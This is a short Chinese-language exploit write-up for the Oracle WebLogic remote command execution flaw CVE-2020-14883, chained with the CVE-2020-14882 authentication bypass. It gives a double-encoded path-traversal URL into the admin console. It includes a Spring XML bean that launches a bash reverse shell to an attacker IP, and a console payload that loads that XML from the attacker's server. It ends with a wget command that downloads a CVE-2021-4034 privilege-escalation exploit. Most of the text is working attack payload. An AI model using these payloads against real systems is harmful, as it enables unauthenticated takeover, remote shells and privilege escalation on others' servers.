Weblogic远程命令执行(CVE-2020-14883)
一、漏洞描述
结合 CVE-2020-14882(Weblogic权限绕过) 漏洞,远程攻击者能够构造特殊的HTTP请求,在未经身份验证的状况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。
二、测试过程
通过够构造特殊请求的URL,便可未受权访问到管理后台页面:
payload:http://xx.xx.xx.xx:7001/console/css/%252e%252e%252fconsole.portal
构造一个XML文件,并将其保存在Weblogic能够访问到的服务器上,能够自行搭建一个Web服务,为反弹shell做准备,例如http://192.168.1.1/rce.xml
XML文件:
<?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[bash -i >& /dev/tcp/攻击IP/7777 0>&1]]></value> </list> </constructor-arg> </bean> </beans>
构造payload:
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://攻击IP/rce.xml")
监听&反弹shell:
可通过以下命令下载EXP,进行提权。
wget http://攻击IP/CVE-2021-4034